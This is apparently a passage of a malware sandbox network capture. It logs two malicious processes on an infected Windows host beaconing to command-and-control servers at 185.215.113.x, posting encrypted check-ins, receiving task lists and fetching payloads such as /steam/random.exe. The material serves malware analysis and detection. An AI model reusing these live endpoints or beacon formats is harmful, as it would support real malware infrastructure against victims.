Nov 1, 2024 12:34:43.932138920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	50016	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:44.105609894 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:45.024550915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:45.030555010 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:45.323024988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	50017	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:44.559053898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:45.475109100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50019	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:45.502707005 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:46.416150093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:46.417587996 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:46.703649044 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50021	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:47.042157888 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:47.944226980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:47.945184946 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:48.227380991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50022	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:47.043898106 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 37 37 37 42 35 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2777B55A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 1, 2024 12:34:47.998677969 CET	1194	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 65 62 0d 0a 20 3c 63 3e 31 30 30 30 34 36 30 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 34 36 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 61 62 66 65 66 66 62 35 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 30 31 36 39 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 65 34 66 39 62 35 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 30 31 37 33 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 [TRUNCATED] Data Ascii: 3eb <c>1000460031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000465031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb5846d934f48b15eaa495c49#1001698001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4e4f9b5846d934f48b15eaa495c49#1001735001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1001776101+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9ea8edf4fbd97e9c4543b31de15441#1003142001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9ea1e2feb1d830b44e42aa70f64945585a8a92e100b7#1003143001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9ea1e2feb1d830b44e42aa70f64945585a8a92e100b7#1003156001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003157001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003158001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003159001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50024	185.215.113.16	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:48.299417019 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Fri, 01 Nov 2024 10:53:58 GMT If-None-Match: "6724b346-207200"
Nov 1, 2024 12:34:49.190742970 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:49 GMT Last-Modified: Fri, 01 Nov 2024 10:53:58 GMT Connection: keep-alive ETag: "6724b346-207200"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50025	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:48.355878115 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:49.263252974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:49.264163017 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:49.549552917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50027	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:49.668592930 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:50.585589886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:50.587119102 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:50.873172998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	50029	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:50.964941978 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 36 30 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000460031&unit=246122658369
Nov 1, 2024 12:34:51.869529009 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50030	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:50.980532885 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:51.877667904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:51.899138927 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:52.180685997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	50032	185.215.113.16	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:52.071439028 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Fri, 01 Nov 2024 10:53:44 GMT If-None-Match: "6724b338-2cd400"
Nov 1, 2024 12:34:52.987796068 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:52 GMT Last-Modified: Fri, 01 Nov 2024 10:53:44 GMT Connection: keep-alive ETag: "6724b338-2cd400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	50033	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:52.294840097 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:53.202505112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:53.203344107 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:53.490617037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50034	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:53.605107069 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:54.503099918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:54.504026890 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:54.786098003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	50036	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:54.929214001 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:55.816325903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:55.842875004 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:56.125658989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50038	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
